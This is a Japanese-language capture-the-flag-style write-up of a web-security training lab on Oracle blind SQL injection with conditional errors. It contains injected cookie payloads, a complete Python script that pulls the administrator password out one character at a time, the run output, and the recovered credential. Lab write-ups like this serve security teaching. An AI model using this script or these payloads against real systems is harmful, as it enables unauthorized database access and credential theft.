Blind SQL injection with conditional errors
はじめに
「Blind SQL injection with conditional errors」のWriteupです。
Summary
- データベースエラーによる挙動差異を利用したBlind SQL injection
- CASE文を使って、評価式の結果に応じて(主にtrueだった場合?)ゼロ除算などのエラーを意図的に発生させる
- SQL、Oracle関連の学び
Writeup
- 目的と事前情報は以下の通りです。
- 目的は administrator ユーザーでログインすること
- ユーザー情報は users テーブルに格納されていて、username 列 と password 列で構成されている
- データベースはOracle
スタート。トップは前回とほとんど変わらないので割愛します。
ログイン画面。前回のように「Welcome back!」の記述はありません。
データベースエラー起因での挙動差異があるかを確認します。Burpでリクエストをインターセプトして、セッションIDに 'AND (SELECT CASE WHEN (1=2) THEN to_char(1/0) ELSE 'a' END FROM DUAL)='a
を追加し、リクエストを送信します。 1=2
はfalseなので、 'a'='a'
で何も起きません。※falseの時は単に NULL
として、 'a'
との比較はしなくてよかったかも
評価式を 1=1
とするとtrueになるので、ゼロ除算が行われてデータベースエラーが発生します。案の定、レスポンスも500になりました。Blind SQL injection が成立します。
前回作ったコードを流用しました。ちょっと改造して、可変する引数(FQDN、トラッキングID、セッションID)のハードコードをやめて実行時にコマンド引数として指定できるようにしています(一定時間経過するとラボ環境が閉店ガラガラするので)。
投げるクエリは ' AND (SELECT CASE WHEN SUBSTR(password, {i}, 1) = '{char}' THEN to_char(1/0) ELSE 'a' END FROM users WHERE username = 'administrator') = 'a
です。最初評価式をカッコで囲ってしまってうまくいきませんでした。必要ないみたいです。
import requests import string import sys args = sys.argv fqdn = args[2] url = 'https://' + fqdn + '/login' tracking_id = args[3] session_id = args[4] cookies = dict(TrackingId=tracking_id, session=session_id) def test(): resp = requests.get(url, cookies=cookies) print(resp.status_code) def run(): chars = string.printable[:95].replace('%', '') print(f'[*]Characters as candidate are {chars}.') ans = '' for i in range(1, 100): print(f'[*] try {i}, ans is "{ans}".') for char in chars: q = f"' AND (SELECT CASE WHEN SUBSTR(password, {i}, 1) = '{char}' THEN to_char(1/0) ELSE 'a' END FROM users WHERE username = 'administrator') = 'a" print(f'[*] query is {q}.') cookies = dict(TrackingId=tracking_id + q, session=session_id) resp = requests.get(url, cookies=cookies) if resp.status_code != 200: ans += char print(f'[o] match! Now answer is: {ans}.') break if char == chars[-1]: print(f'[*] No match. Answer is {ans}, or you need more characters as candidate.') sys.exit(1) if __name__ == '__main__': if args[1] == 'test': test() elif args[1] == 'run': run()
実行すると、それらしい文字列が出てきました。 放っておくとシングルクォートが延々マッチし続けるようですが、 %
と同様、何か意味のある文字列なのでしょうか。
$ python3 bsqli_solver_2.py run acf31fe71ea54faf80333e7000e2004d.web-security-academy.net Tf0CElKhzmiWfUno JUFrFFmjycnQLMUz5wmmKiFHbZX2ZfQO [*]Characters as candidate are 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$&'()*+,-./:;<=>?@[\]^_`{|}~ . [*] try 1, ans is "". [*] query is ' AND (SELECT CASE WHEN SUBSTR(password, 1, 1) = '0' THEN to_char(1/0) ELSE 'a' END FROM users WHERE username = 'administrator') = 'a. [*] query is ' AND (SELECT CASE WHEN SUBSTR(password, 1, 1) = '1' THEN to_char(1/0) ELSE 'a' END FROM users WHERE username = 'administrator') = 'a. ... [*] query is ' AND (SELECT CASE WHEN SUBSTR(password, 22, 1) = ''' THEN to_char(1/0) ELSE 'a' END FROM users WHERE username = 'administrator') = 'a. [o] match! Now answer is: 26dyx39qmf2mfca2el2f''. [*] try 23, ans is "26dyx39qmf2mfca2el2f''".
administrator
/ 26dyx39qmf2mfca2el2f
で、ログイン成功しました。
前回から横着してますが、本当は事前にレコードの存在や、パスワードの文字列長を確認したりすると丁寧ですね。